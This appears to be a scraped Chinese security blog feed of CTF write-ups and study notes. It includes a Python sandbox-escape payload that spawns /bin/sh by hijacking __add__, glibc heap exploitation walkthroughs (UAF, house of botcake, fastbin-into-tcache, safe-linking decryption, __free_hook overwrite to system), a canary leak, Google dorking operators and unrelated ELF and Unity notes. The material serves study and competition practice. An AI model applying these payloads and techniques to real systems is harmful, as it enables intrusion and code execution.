这是个一直困扰我的问题。这个问题来源hack the box 一个flask 题目提到 一个奇怪的waf。这个waf 提到”(){}[]@” ,但是按照我们正常的思路,只要ban了{}
了,ssti这路就不行。但是为什么要提到()
? 于是我想到说不定python有方法做到,不用()
就可以做到执行函数方法(执行__call__
)。
我们知道对象(ob) 是 Python 中对数据的抽象。 Python 程序中的所有数据都是由对象或对象间关系来表示的。同时,我们也知道 “x+y” 两变量相加,过程其实是将+
转换调用type(x).__add__(x, y)
即调用x对象的父类的·__add__
方法。
1 | >>> x=1 |
所以我们若讲x的父类的__add__
覆盖成我们想要的函数,那么就可以用+
来执行函数。
1 | >>> type(x).__add__=print |
但是我们很快得到一个报错,显示我们无法修改 int class 的__add__
属性,但在不同版本中报错描述不同。(应该与3.10版本对python进行大规模改写优化有关)。其中在3.10报错中写到immutable type 'int'
,在3.8报错中更详细写的 built-in/extension type 'int'
.所以,可以怀疑因为int
是内置class(或builtins模块中class) 所以设置了保护属性 让 __add__
属性 无法被修改。
因此,我们可以尝试自己定义一个class来尝试。
1 | class x: |
可以看到我们自己定义的类 x 的 __add__
被修改为了print
,在运行y+'1'
时,成功执行了 print 方法.
其实,经过查阅除了__add__
外,还有很多内置函数可以让我们利用。
名称 | 作用 | 触发示例 |
---|---|---|
object.__add__(self, other) | 加法 | x+y |
object.__sub__(self, other) | 减法 | x-y |
object.__mul__(self, other) | 乘法 | x*y |
object.__truediv__(self, other) | 除法 | x/y |
object.__floordiv__(self, other) | 整除 | x//y |
object.__mod__(self, other) | 取余 | x%y |
object.__pow__(self, other[, modulo]) | 幂运算 | x**y |
object.__lshift__(self, other) | 左移 | x<<y |
object.__rshift__(self, other) | 右移 | x>>y |
object.__and__(self, other) | 与 | x&y |
object.__xor__(self, other) | 异或 | x^y |
object.__ior__(self, other) | 或 | x|y |
名称 | 作用 | 触发示例 |
---|---|---|
__lt__ | 小于 | x<y |
__le__ | 小于等于 | x<=y |
__eq__ | 等于 | x==y |
__ne__ | 不等于 | x!=y |
__ge__ | 大于等于 | x>=y |
__gt__ | 等于 | x>y |
名称 | 作用 | 触发示例 |
---|---|---|
__getitem__ | 我们用中括号对象中元素的查询 | x[y] |
__getattr__ | 获取对象的属性 | x.y |
__getattribute__ | 在__getattr__ 未找到属性时调用 | x.y |
之前在对int.__add__
进行覆盖时,发现触发了报错。这报错让我们知道 Built-in 中的属于是 无法修改的。但是我写了个小工具,来遍历builtins
模块.
1 | import os |
出乎意料地得到一个有意思的结果:
1 | builtins name:__name__ |
quit() exit() licnese() help()
四个函数,并没有显现”< xxx ‘xxxx’ >” 而是像被调用执行后返回一个字符串。
我以quit为突破口,深入研究下python 手册与python 源码。
在python 手册内置常量(https://docs.python.org/zh-cn/3/library/constants.html#built-in-consts)这一节发现一个有意思的描述:
由
site
模块添加的常量
site
模块(在启动期间自动导入,除非给出-S
命令行选项)将几个常量添加到内置命名空间。 它们对交互式解释器 shell 很有用,并且不应在程序中使用。
quit(code=None)
exit(code=None)
当打印此对象时,会打印出一条消息,例如“Use quit() or Ctrl-D (i.e. EOF) to exit”,当调用此对象时,将使用指定的退出代码来引发
SystemExit
。copyright
credits
打印或调用的对象分别打印版权或作者的文本。
license
当打印此对象时,会打印出一条消息“Type license() to see the full license text”,当调用此对象时,将以分页形式显示完整的许可证文本(每次显示一屏)。
quit 这些函数是用site模块添加的方法。
根据site模块,发现手册中提供了site模块的源码地址 Lib/site.py
在源码中发现了一个有意思的代码块:
1 |
|
builtins.quit居然是``_sitebuiltins.Quitter 类的实例。继续根据_
sitebuiltins.Quitter`源码:
1 | class Quitter(object): |
Quitter定义没有任何保护,于是我们考虑篡改它的属性。虽然没有__add__
,但是我们强行加一个试试。
1 | >>> import os |
好家伙,我们直接将__add__
,篡改为的os.system.
在看Quitter定义源码时,发现一个有意思的地方:
1 | def __repr__(self): |
这和我们直接在python 交换行中输入quit 得到的东西很像。
查寻手册发现:
object.repr(self)¶
由
repr()
内置函数调用以输出一个对象的“官方”字符串表示。如果可能,这应类似一个有效的 Python 表达式,能被用来重建具有相同取值的对象(只要有适当的环境)。如果这不可能,则应返回形式如<...some useful description...>
的字符串。返回值必须是一个字符串对象。如果一个类定义了__repr__()
但未定义__str__()
,则在需要该类的实例的“非正式”字符串表示时也会使用__repr__()
。此方法通常被用于调试,因此确保其表示的内容包含丰富信息且无歧义是很重要的。
原莱我们输入对象名返回的值,如<class 'xxx'>
、<built-in function xxxx>
是通过调用__repr__
方法即时返回的字符串。
那么我们只要修改类的__repr__
方法,在输入该类实例变量名是就可以调用我们的方法。但,美中不足的是传参数不好控制。
在测试中写了一道,算是对那个不求甚解的自己 的 一种记录吧…..(有其他解的大佬,欢迎分享)
1 | import string |
Payload:
1 | quit.__class__.__add__=__import__;quit.__class__.__add__=quit+'\157\163';quit.__class__.__add__=quit.__class__.__add__.system;quit+'\57\142\151\156\57\163\150' |
https://docs.python.org/zh-cn/3/reference/datamodel.html?highlight=__add__#
]]>多个program header组成了program header table。在program header table 中记录了起始位置、每个表项(program header)的大小、偏移、类型等信息。而program header table 的位置/偏移、数量、大小 信息 被 ELF header中的 e_phoff
、 e_phnum
、e_phentsize
这个几个变量所记住。
在 32位程序下,program header的内容为
1 | typedef struct { |
在 64位程序下,program header的内容为
1 | typedef struct { |
对比可见虽然在x86与x64的program header定义有所差异的,但 结构体的内的 变量的个数与变量名是一样。各种的作用也是相同的:
变量名 | 含义 |
---|---|
p_type | 描述了段的而类型或解释该段的作用 |
p_offset | 描述了从文件到该段的文件偏移 |
p_vaddr | 描述了段在内存中的偏移 |
p_paddr | 描述了物理地址相关,在应用层无作用。 |
p_filesz | p_offset描述了段在文件中的偏移。那么此成员就描述了在文件中所占的大小,可以为0 |
p_memsz | 同上,描述了内存中映像所占的字节数。 可以为0 |
p_flags | 此成员描述了段的标志,包括读、写、执行 |
p_align | 描述了对齐。对于可加载的段 p_vaddr和p_offset取值必须是合适的。此成员给出了段在文件中和内存中如何对齐。数值 0 1 标识不需要对齐。否则就必须是2的倍数。 p_vaddr和p_offset在取模后应该相等。 |
1 |
|
ELF
是Executable and Linking Format
的缩写,即可执行和可链接的格式,是Unix/Linux
系统ABI (Application Binary Interface)
规范的一部分。Unix/Linux
下的可执行二进制文件、目标代码文件、共享库文件和core dump文件都属于ELF
文件。ELF文件有链接视图和执行视图,两种视图形式:
链接视图:
静态链接器(即编译后参与生成最终ELF过程的链接器,如ld )会以链接视图解析ELF。编译时生成的 .o(目标文件)以及链接后的 .so (共享库)均可通过链接视图解析,链接视图可以没有段表(如目标文件不会有段表)。
执行视图:
动态链接器(即加载器,如x86架构 linux下的 /lib/ld-linux.so.2或者安卓系统下的 /system/linker均为动态链接器)会以执行视图解析ELF并动态链接,执行视图可以没有节表。
左边是ELF
的链接视图,可以理解为是目标代码文件的内容布局。右边是ELF
的执行视图,可以理解为可执行文件的内容布局。
对于两种视图来说,ELF Header
是两种说共有的。
同时,在两个视图的区别上,对于链接视图来说section
是主要特征,同时对于Section Header Table
在链接视图中也是必要的,但Program Header Table
来说是非必要的。但对于执行视图来说Segment
是主要特征,同时对于Program Header Table
在链接视图中也是必要的,但Section Header Table
是非必要的。
segments
与sections
区分与联系
segments
与sections
区别在于:
.text
,.bss
,.data
这些都属于section
层面上的。.text
:保存程序代码。.data
:保存已经初始化的全局变量和局部静态变量.bss
: 保存未初始化的全局变量和局部静态变量section
和section header table
中的条目是一一对应的。section
的信息用于链接器对代码重定位。segment
层面上的。section
会被链接器组织到可执行文件的各个segment
中。.text section
的内容会组装到代码段中,.data
, .bss
等节的内容会包含在数据段中。segment
组织的,每个segment
对应ELF
文件中program header table
中的一个条目,用来建立可执行文件的进程映像。段(segments
)与节(sections
)同时又是是包含的关系,一个segment
包含若干个section
。当ELF
文件被操作系统加载到内存中后(加载到内存中也就是说这个elf
要运行),系统会将多个具有相同权限(flg
值)section
合并成一个segment
(优化空间利用),减少内存碎片。
之前说,在ELF文件中无论说基于执行视图还是链接视图,ELF Header
是都有的结构。在elf文件中
ELF header
的定义可以在Linux系统的 /usr/include
目录下elf.h
文件中找到。(用vs 装上c/c++相关插件后,可以直接定位到)
在32位与64位系统下,ELF header
的定义是不同的:
Elf32_Ehdr
是32位 ELF header的结构体。定义如下:
1 | typedef struct |
Elf64_Ehdr
是64位ELF header的结构体。定义如下:
1 | typedef struct |
Elf64_Addr
和 Elf64_Off
都是64位无符号整数。而Elf32_Addr
和 Elf32_Off
是32位无符号整数。这导致ELF header的所占的字节数不同。32位的ELF header占52个字节,64位的ELF header占64个字节。
e_ident
占16个字节。前四个字节被称作ELF的Magic Number。
1 | unsigned chare_ident[EI_NIDENT];/* Magic number and other info */ |
如上图,前4个字节是ELF的Magic Number
,固定为7f 45 4c 46
,也对应着字符串\177ELF
第5个字节为EI_CLASS
代表当前ELF文件是32位还是64位的。值为 ELFCLASS32(0x1)表32位,数值为 ELFCLASS64 (0x2)表64位。
第6个字节为EI_DATA
了数据的编码方式,即我们通常说的little endian或是big endian。值 ELFDATA2LSB
表little endian,即为 小端排序,低位字节在前,或者直接说低位字节在低位地址,比如0x7f454c46
,存储顺序就是46 4c 45 7f
。 值 ELFDATA2MSB
表big endian就是大端排序,高位字节在前,直接说就是高位字节在低位地址,比如0x7f454c46
,在文件中的存储顺序是7f 45 4c 46
。
第7个字节为EI_VERSION
指明了ELF header的版本号,目前值都是EV_CURRENT(1)。
第8个字节为EI_OSABI
表操作系统ABI
标识,现在默认为0,
第9-16个字节,都填充为0。
e_type
代表文件类。
1 | Elf32_Halfe_type;/* Object file type */ |
当其值为ET_REL
(1)表可重定位文 件(如目标文件)
当其值为ET_EXEC
(2)表可执行文件(可直接执行的文件)
当其值为ET_DYN
(3)表共享目标文件(如SO库)
当其值为ET_CORE
(4)表Core文件(吐核文件)
e_machine
为架构信息。
1 | Elf32_Halfe_machine;/* Architecture */ |
当值为EM_X86_64
(62)表x86-64架构,
e_version
为文件版本,目前常见的ELF 文件版本均为EV_CURRENT(1)
。
1 | Elf32_Worde_version;/* Object file version */ |
e_entry
表入口虚拟地址(RVA)。即_start
函数所在的地方(地址)。
1 | Elf32_Addre_entry;/* Entry point virtual address */ |
e_phoff
为程序头表(段表)的偏移,程序头表离启始位置的值。
1 | Elf32_Offe_phoff; /* Program header table file offset */ |
e_shoff
为节头表的偏移,节头表离启始位置的值。
1 | Elf32_Offe_shoff;/* Section header table file offset */ |
处理器特定的标志,一般为0
。
1 | Elf32_Worde_flags;/* Processor-specific flags */ |
Elf_Header
的大小(字节),64
位则为64
,如果是32
位则为52
。
1 | Elf32_Halfe_ehsize;/* ELF header size in bytes */ |
·e_phentsize
表程序头表/段表(Program Header)
的大小(字节)
1 | Elf32_Halfe_phentsize;/* Program header table entry size */ |
e_phnum
表段的数量。
1 | Elf32_Halfe_phnum;/* Program header table entry count */ |
e_shentsize
表节头(Section Header)
的大小(字节)。当ELF
文件被操作系统加载到内存中后(加载到内存中也就是说这个elf
要运行),系统会将多个具有相同权限(flg
值)section
合并成一个segment
(优化空间利用),在这个过程中section
的数量可能会发生改变。
1 | Elf32_Halfe_shentsize;/* Section header table entry size */ |
e_shnum
表节头数量
1 | Elf32_Halfe_shnum;/* Section header table entry count */ |
e_shstrndx
表节字符串表的节索引。
1 | Elf32_Halfe_shstrndx;/* Section header string table index */ |
结合上面知识,我们可以用c语言,来解析Elf 头解析。效果如下:
原代码如下
1 |
|
https://ch3nye.top/Linux%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%88%86%E6%9E%90%E7%AC%94%E8%AE%B0(ELF)/
https://copyright1999.github.io/2021/10/10/%E8%A7%A3%E6%9E%90ELF%E6%96%87%E4%BB%B6-%E4%B8%80/
]]>以free函数为例子,在2.32glibc中在释放chunk时 不是直接把 fd 值放入 p->fd
中。而是经过 PROTECT_PTR
或 REVEAL_PTR
处理。 PROTECT_PTR
和 REVEAL_PTR
在宏定义中定义:
1 | /* Safe-Linking: |
PROTECT_PTR
和 REVEAL_PTR
使用ASLR(mmap_base)的随机性来保护单链接列表Fast Bins和TCache。也就是说,屏蔽列出块,并对其执行分配对齐检查。这种机制降低了指针劫持的风险,就像对在小箱子的双重链接列表中安全断开链接。它假定最小页面大小为4096字节(12位)。具有的系统较大的页面提供较少的熵,尽管指针会被破坏仍然有效.用一个官方例子来描述:
即 tcache_entry->next中存放的chunk地址为与自身地址进行异或运算后所得到的值, 这就要求我们在利用 tcache_entry 进行任意地址写之前 需要我们提前泄漏出相应 chunk 的地址,即我们需要提前获得堆基址后才能进行任意地址写,这给传统的利用方式无疑是增加了不少的难度.
在how2heap提供了一个decrypt_safe_linking.c
的例子让我们在新机制下获得 fastbin 和 tcache的真实fd。
但是我觉得例子不过深刻于是魔改了下。
1 |
|
1.我们先创建4个chunk和一个隔离chunk,
1 | // step 1: allocate chunks |
2。然后我们释放一个chunk a。
1 | free(a); |
可以看 加入了tcachebins 且fd 处存放的不是0,而是 0x555555559 (右移12位)
3.继续依次 c d b 释放后 chunk。
1 | free(c); |
ps:可以看 b c d 的fd ,与0x555555559 后,就是真正的fd的
3.对d chunk的fd 进行 decrypt 函数解密。
1 | long decrypt(long cipher) |
可以看到6就循环后,d chunk的fd 的真实fd就还原过来。
1 | round 1: |
从上面的例子可以看出,fd 位置存放值就是 原本fd的值(前一个tache的真实地址)右移 12位与fd 位置的地址值。但由于我们只 12位原本fd的值,因此我们还有3个地址位是原本的。又异或可逆性,我们可以将没变的3个地址位或2个地址右移 12位与上fd 位置存放值,还原出原本 fd一部分值 高4-6位。在把原本 fd一部分与旧原本 fd一部分再右移 12位与上fd 位置存放值,又可以得到一部分原本fd值。因此我们可以更具异或可逆性,慢慢还原出来。
python版脚本如下
1 |
|
其实若是第一个tache 那么放入fd 的值就是 (fd^0)>>12.
同时,7个 连续小于等于0x240的tache或fast bin 的间地址差不会超过0x1000.
因此泄露出第一个tache的fd里的值为keys,直接与其他tache的fd相与。就可以得到原址。
在uclibc-ng中引入的补丁:https://gogs.waldemar-brodkorb.de/oss/uclibc-ng/commit/886878b22424d6f95bcdeee55ada72049d21547c 就是在取p->fd和存放p->fd时都改成调用REVEAL_PTR
https://www.researchinnovations.com/post/bypassing-the-upcoming-safe-linking-mitigation 机制绕过
]]>UAF
unsorted bin(glibc 2.31)
题目是经典的堆题,给了2.31的libc:
1 | Arch: amd64-64-little |
分析代码,分析提供四个功能:
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
1.添加功能(add)
1 | __int64 add() |
2.显示info内容功能(show_info)
1 | __int64 __usercall show_info@<rax>(__int64 a1@<rbp>) |
3.修改密码(find_password)
1 | __int64 find_password() |
4.释放堆块(delete)
1 | __int64 __usercall delete@<rax>(__int64 a1@<rbp>) |
在释放堆块(free
)时,题目有个if ( v2 < 0 || v2 > 10 || !chunk_state_check[4 * v2] )
来限制操作的chunk只能是未释放的。但是find_password
和show_info
并没有限制。同时,由于free功能里,清除的chunk_state_check[4 * v2] = 0;
被不是存储的chunk指针而是chunk的大小。因此造成了UAF利用。
于是,我们可以利用申请两个unsorted bin chunk 释放让其合并,再制造错位放第二个chunk的残留指针刚好可以修改password同时,info泄露出libc_addr.同时,利用残留指针修改unsorted bin chunk 大小,制造出chunk重叠,从而修改free chunk fd从而修改free_hook为system
地址。
1.申请chunk,制造出uaf。
1 | add(129,'lex',800,'1'*6,'y'*128)#0 |
2.通过chunk_4的残留指针 ,修改0x420 chunk的密码。再通过show功能
1 | edit(3,0,'x'*6) |
3.利用第一步就布局的chunk_5和chunk_6,来制造重叠。
通过chunk_4的残留指针,修改new_chunk_0大小0x411为0x4f1.从而为一个0xb0合并成一个unsorted bin chunk。
1 | edit(3,0,p64( 0x411+0xb0+0x30)[:-1]) |
4.然后释放unsorted chunk,而释放被包含的0xb0 chunk从而制造出堆重叠。修改0xb0 chunk的fd为__free_hook
,修改__free_hook
的值的system
.从而get shell
1 | free(4,'1'*6) |
1 | #!/usr/bin/env python |
按照经验,猜测robots.txt文件。读取后发现提示'/Sec3et_in_h3r3/fl6g
读取后发现flag。
打开文本发现16进制数,用winhex写入,然后根据附件开头50 4B 03 04 14 00 00 00 00 00
判断文件为zip,且文件头损坏而打不开,因此修改为50 4B 03 04 14 00 00 00 08 00
.在打开压缩包解压。发现一组黑白图片。编写脚本将黑色图片识别为1,将白色图片识别为0,将得到的二进制数转为字符从而得到flag
识别脚本如下:
1 | #!/usr/bin/env python |
跟着文档手搓python字节码。大致还原python 源代码为:
1 | arr=[47378,29475,46200,39869,67243,68695,73129,27171,53832,30653,60541,67276,58816,63571,50131,34471,67922,82293,33259,67538,57810,50339,34632,68754,83192,36077,60424,54547,56308,33565,69425,84024] |
从而逆向写出脚本:
1 | #!/usr/bin/env python |
1 | [*] '/home/lexs/Desktop/pwntest/2022/cy/ez_canary/ez_canary' |
题目开了canary 和 nx,但是没开PIE.
但是通过逆向源代码和动态gdb,可以得知我们的输入的Username
可以溢出到栈上,我们输入的password 可以覆盖 Username
的同时溢出到栈上。因此,我们合理布局code让Username
刚好把canary低位的’\x00’覆盖,从而泄露出canary。由于PIE未开,我们可以源文件后门,从而在Password 输入合理布局覆盖Username
和canary,让程序流跳到我们后门上。(远程不知道为啥打不通,后赖用 ret 调节下栈 )
1 | #!/usr/bin/env python |
搜索在网页标题中的关键字。即把搜索的内容限定到网页(文章)的标题.
用法:
1 | intitle:关键字 |
例如:
把搜索范围限定到特点网站中。即只在特点网站中查找内容。
用法:
1 | site:域名/网址 |
例如:
搜索在url中含有关键词的网页。返回在url(网址)中含有我们关键的网站。
用法:
1 | inurl:关键词 |
例如:
搜索所有链接到关键字的网页。比如说link:baidu.com
就返回所有与百度做了链接的url。
用法:
1 | link:url |
例如:
搜索指定后缀名的文件。即,搜索引擎返回的内容直接是某指定后缀名的文件而不是网页。
用法:
1 | filetype:type(pdf,txt,jpg,png,mp4......) |
例如:
搜索在文章内容中包含某关键字的网页。
用法:
1 | intext:关键字 |
例如:
提供一个和指定url更多信息的页面列表.
用法:
1 | info:url |
例如:
强制搜索的意思是必须完整出现我所查询的关键字。例如 我强制搜索 “lexsd6,那么搜获引擎必优先返回我 ”lexsd6“ 而不是优先返回”d6“或”lexs”的内容。
强制搜索分为两类:长关键搜索和名称搜索。
主要用于比配过长的关键词,比如说某题目。
用法:
1 | ”关键词“ |
未用长关键强制搜索:
用长关键强制搜索:
名称搜索,顾名思义是用来搜索作品名称的,用书刊名、歌曲名、文献名来搜索名称的。
用法:
1 | 《关键词》 |
未名称搜索:
名称搜索:
在我们使用搜索引擎时,有时候一个关键词并不能满足我们使用需求,要多个关键词同时作用才能达到我们的需求。但是搜索引擎并不会直接明白我们输入关键词的意思,我们要通过一定的逻辑语法来告诉搜索引擎,我们输入的各个关键词之间的关系与搜索的目的。
表示我们要同时搜索两个关键词或两个以上的关键词的内容。
例如我们现在有两个关键词A、B,我们要查询同时有A、B关键词的内容。用程序逻辑表达为:A&B。
用法:
1 | A B |
即在两关键词以空格隔开即可。
表示我们要搜索至包含两个关键词或两个以上的关键词中至少用一个关键词的内容。
例如我们现在有两个关键词A、B,我们要查询有A关键词的内容、B关键词的内容即同时有AB关键词的内容。用程序逻辑表达为:A|B。
用法:
1 | A|B |
即在两关键词以"|"
隔开即可。
表示我们要搜索至包含两个关键词或两个以上的关键词中,有其中一个关键词出现,就没有其它关键的内容。
例如我们现在有两个关键词A、B,我们要查询有A关键词且没有B关键词的内容、B关键词且没有A关键词的内容。
用法:
1 | A -B |
即在两关键词以" -"
隔开即可。
熟练使用搜索引擎有利于我们快速在网上查找信息,有个于扩大我们知识面和提高我们的办公效率(方便网上测试找题)。
fastbin reverse into tcache
是指利用tcache为空而fastbin不为空,堆管理把fashbin放入tcahe时进行的攻击。fastbin reverse into tcache
一度感觉很鸡肋,但仔细看大佬分析后,发现是我态年轻了,理解不到位。1.让任意地址进入tcache中,再取出tcache进行任意地址写。
2.对任意一个地址,写入一个可控的堆上地址。
1.能反复创建释放14个以上的fastbin。
2.能修改其中一个fastbin的fd
3.用tcache机制
1 |
|
执行审计与调试下来,可以发现其实流程十分简单:
先创建14个能进入fastbin大小的chunk,然后先释放其中7个
1 | char* ptrs[14]; |
这样就将tcache填满了。
然后重点来了,我们记录下attack chunk(第8个被释放chunk(也就是第一个加入fashbin的chunk
)的指针。
然后再释放掉所用的chunk,让它们全部加入fastbin。
1 | char* victim = ptrs[7]; |
然后获取栈上地址为目标写入地址,同时将attack chunk的fd改为目标写入地址-0x10的地址:
1 | // Create an array on the stack and initialize it with garbage. |
创造7个chunk 让tcache 清空.
1 | // Empty tcache. |
这时,再创一个chunk 就可以看到攻击完成attack chunk 的 fd 对应地址+0x10变成一个fake chunk的进入 tcache 首。
在与之同时,将 fd 对应地址的值,加入到原本大小fastbin 中
并且,在攻击完成前:
在攻击完成后:
对照可以发现,攻击完成,同时在目标写入地址 写入了attack chunk 地址和key的值。
1 | /* While we're here, if we see other chunks of the same size, |
在tcache为空而fastbin不为空,堆管理把fashbin放入tcahe时,会按照fashbin被使用的顺序将fashbin一个取出分析(即后进先出的原理)。这时,我们的attack chunk第一个进入fastbin,那么它将会最后一个出来。同时,这个代码对fastbin 加入 tachae 的依据是tache 是否填满和上个fastbin 的fd指针,并未判断fd的合法性,导致我们可以伪造fd来让第7个进入 tachae 的chunk被我们控制,而不影响堆管理逻辑顺序。
2.29前
2.29后
这个key一般是指向 manage chunk。
目的:
在2.29版本上的libc中,制造堆块重叠。
本质:
利用的本质是让 chunk 在 unsorted bin 和 tcache 中同时存在,从而造成 UAF 可以修改 key 的内容。
条件:
1.我们能够控制已经free的chunk进行,再次free.(double free の变种)。
2.能填满tcache ,得到 unsorted bin。
1 | NX:-z execstack / -z noexecstack (关闭 / 开启) 不让执行栈上的数据,于是JMP ESP就不能用了 |
1 | //2.32-2.34 |
首先,我们分配了7个chunk来为以后填满tcache做准备:
1 | intptr_t *x[7]; |
然后再准备用于攻击的两个chunk,和隔离的chunk。其中a chunk 是我们将要 double free的chunk,prev chunk 是将用于辅助uaf的chunk。
1 | intptr_t *prev = malloc(0x100); |
之后,我们再释放掉a chunk 和prev chunk ,由于tachebins 满了,a chunk 和prev chunk 将加入 unsortedbin中。同时由于a chunk 和prev chunk 相邻,a chunk 和prev chunk 将合并成为一个大的chunk 放入 unsortedbin。
1 | puts("Step 2: free the victim chunk so it will be added to unsorted bin"); |
这时,我们从tachebins中取出一个chunk:
1 | malloc(0x100); |
这样我们tachebins中就只有6个 chunk了,这时我们再free a chunk。由于tachebins未满,所以我们的a chunk将会加入tachebins中。
1 | malloc(0x100); |
于是,a chunk即在tachebins中,又和prev chunk一起在 unsortedbin 中。这样我们就完成house_of_botcake攻击。可以进而通过prev chunk 用 A chunk进行任意地址写。
题目保护全开,同时是2.31版本。
分析流程,发现题目只有添加chunk,释放,显示内容,退出四种功能。
但用两种添加chunk和释放chunk的功能:
1 | int add() |
很平凡的添加功能,但只能申请0x100大小空间的chunk(0x110).且只能申请8个.
1 | int name() |
只能调用一次的,添加功能但可以申请0x20大小空间的chunk(0x30)
1 | int free_0() |
很常见的正常释放chunk操作,再free chunk 后,会清空指针。
1 | void free_1() |
在free chunk 后,不会清空指针。但是只能清空一次。
我们可以,释放8个0x100chunk,让一个chunk 加入 unsorted bin 中,再利用name()函数,让 unsorted bin 大小小于0x100 。
我们再在add 8 个0x100 chunk,这时unsorted bin (小于0x100) 也不会利用。
释放 unsorted bin 后面相邻0x100 chunk(a chunk) ,并保留指针。两个chunk 合并成大的unsorted bin
chunk。
再add 一个 0x100 chunk,让 tcache 未满,再free a chunk 这时 a chunk进入 0x100 chunk。但同时也在于unsorted bin中。形成重叠。
再利用重叠部分uaf泄露libc,再修改fd进行任意地址写,在__free_hook
写入后门。
1 | #!/usr/bin/env python |
在github(https://github.com/DragonBones/DragonBonesCSharp) 下载插件.
然后:
确保项目结构如下:
1 | Your project |
unity图像界面导入DragonBones骨骼比较简单。分为Data数据导入和直接法。
在插件导入后,我们就点击右键ske文件,点击DragonBones中Armature Object
,可以生成DragonBones骨骼动画对象。
在插件导入后,我们就点击右键ske文件,点击DragonBones中Create Unity Data
,可以生成data文件。
在把文件拖入DragonBones对象里。
参照官方demo教程–HelloDragonBones.cs
改动的,纯代码导入
1 | using System.Collections; |
在这里要注意的是UnityFactory.factory.BuildArmatureComponent()
函数的参数与ske文件中的armature
属性里的name
的值相关,两者要一致。
同时,如果是高版本素材推荐用scheme1导入,低版本用scheme2。否则,代码导入后有蜜汁bug。
另外代码导入时,确保正确生成了mat文件,否则也有蜜汁bug。官方代码里先读取文件再判断是否生成orw。。。。
我们在导入unity后,我们可以通过UnityArmatureComponent控件来管理我们DragonBones骨骼动画。
我们可以GETcomponent来获取我们的DragonBones骨骼动画对象:
1 | public DragonBones.UnityArmatureComponent anmi; |
也可以直接使用拖拽法
官方提供的获得控制骨骼动画播放与播放状态属性的API,这些与播放相关的API多数放在animation属性下。
具体API简略整理如下:
1 | public AnimationState PlayConfig(AnimationConfig animationConfig) |
通过指定的动画配置来播放动画。 该 API 仍在实验阶段,使用时可能遭遇 bug 或稳定性或兼容性问题。
参数:
animationConfig
:是指动画配置。
1 | public AnimationState Play(string animationName = null, int playTimes = -1) |
播放指定动画,并设置循环次数。
参数:
animationName
:运行动画名称。
playTimes
:循环次数 [-1: 使用动画数据默认值, 0: 无限循环播放, [1~N]: 循环播放 N 次] (默认: -1)示例:
1 | armature.animation.play("walk"); |
1 | public AnimationState FadeIn(string animationName, float fadeInTime = -1.0f, int playTimes = -1, |
FadeIn()
淡入播放指定的动画。
参数:
animationName
:动画数据名称。
fadeInTime
:淡入时间。 [-1: 使用动画数据默认值, [0~N]: 淡入时间 (以秒为单位)] (默认: -1)
playTimes
: 播放次数。 [-1: 使用动画数据默认值, 0: 无限循环播放, [1~N]: 循环播放 N 次] (默认: -1)
layer
:混合图层,图层高的动画状态会优先获取混合权重,当混合权重分配总和超过 1.0 时,剩余的动画状态将不能再获得权重分配。 (默认: 0)
group
混合组名称,该属性通常用来指定多个动画状态混合时的相互替换关系。 (默认: null)
fadeOutMode
:淡出模式,该属性通常用来指定多个动画状态混合时的相互替换模式。 (默认: AnimationFadeOutMode.SameLayerAndGroup
)
返回值:
播放的状态。
PS:淡出模式的具体模式有:
1 | AnimationFadeOutMode.None //不淡出任何的动画状态,值同等于0 |
示例:
1 | armature.animation.fadeIn("walk", 0.3, 0, 0, "normalGroup").resetToPose = false; |
1 | public AnimationState GotoAndPlayByTime(string animationName, float time = 0.0f, int playTimes = -1) |
GotoAndPlayByTime()
-指定时间开始播放.
参数:
animationName
- 动画数据名称。
time
- 播放开始的时间。 (以秒为单位)
playTimes
- 循环播放次数。 [-1: 使用动画数据默认值, 0: 无限循环播放, [1~N]: 循环播放 N 次] (默认: -1)
返回值:
播放的动画状态。
1 | public AnimationState GotoAndPlayByFrame(string animationName, uint frame = 0, int playTimes = -1) |
GotoAndPlayByFrame
从指定帧开始播放指定的动画
参数:
animationName
- 动画数据名称。
frame
- 播放开始的帧数。
playTimes
- 播放次数。 [-1: 使用动画数据默认值, 0: 无限循环播放, [1~N]: 循环播放 N 次] (默认: -1)
返回值:
播放的动画状态。
1 | public AnimationState GotoAndPlayByProgress(string animationName, float progress = 0.0f, int playTimes = -1) |
GotoAndPlayByProgress
指定进度开始播放指定的动画。
参数:
animationName
动画数据名称。
progress
- 开始播放的进度。
playTimes
- 播放次数。 [-1: 使用动画数据默认值, 0: 无限循环播放, [1~N]: 循环播放 N 次] (默认: -1)
返回值:
returns-播放的动画状态。
1 | public AnimationState GotoAndStopByTime(string animationName, float time = 0.0f) |
在指定时间停止指定动画播放。
参数:
animationName
- 动画数据名称。
time
- 停止的时间。 (以秒为单位)
返回值:播放的动画状态。
1 | public AnimationState GotoAndStopByFrame(string animationName, uint frame = 0) |
在指定帧停止指定动画的播放
参数:
animationName
- 动画数据名称.
frame
- 停止的帧数。
返回值:
播放的动画状态。
1 | public AnimationState GotoAndStopByProgress(string animationName, float progress = 0.0f) |
指定的进度停止指定的动画播放
参数:
animationName
- 动画数据名称。
progress
- 停止进度。
返回状态:播放的动画状态。
1 | public AnimationState GetState(string animationName) |
获取指定的动画状态
参数:
animationName
- 动画状态名称。
示例:
1 | armature.animation.play("walk"); |
1 | public bool HasAnimation(string animationName) |
HasAnimation()
检查是否包含指定的动画数据
参数:
animationName
- 动画数据名称。
1 | public List<AnimationState> GetStates() |
GetStates()
获取所有的动画状态.
1 | public bool isPlaying |
示例:
1 | armature.animation.isPlaying |
为True 表在播放,为flase则未在播放。
1 | public bool isCompleted |
示例:
1 | armature.animation.isCompleted |
1 | public string lastAnimationName |
1 | public List<string> animationNames |
1 | public Dictionary<string, AnimationData> animations |
一个可以快速使用的动画配置实例
1 | public AnimationConfig animationConfig |
1 | public AnimationState lastAnimationState |
Assets\DragonBones\Editor\UnityEditor.cs 里用执行替换骨骼动画的函数–ChangeDragonBonesData
拷贝Assets\DragonBones\Editor\UnityEditor.cs
到目录Assets\DragonBones\Scripts\animation\
1 | public static bool ChangeDragonBonesData(UnityArmatureComponent _armatureComponent, TextAsset dragonBoneJSON) |
ChangeDragonBonesData
的一个参数时要替换骨骼与动画UnityArmatureComponent
控件,二个是替换成的dragonBoneJSON数据。
示例:
1 |
|
https://github.com/DragonBones/DragonBonesCSharp
https://github.com/DragonBones/DragonBonesCSharp/blob/master/README-zh_CN.md
https://github.com/DragonBones/DragonBonesCSharp/blob/master/Unity/README-zh_CN.md
1 |
1 | Arch: amd64-64-little |
题目没有开启PIE和canary。减少了不小负担。
题目的主要功能很简单就是猜测字符,主要代码如下:
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
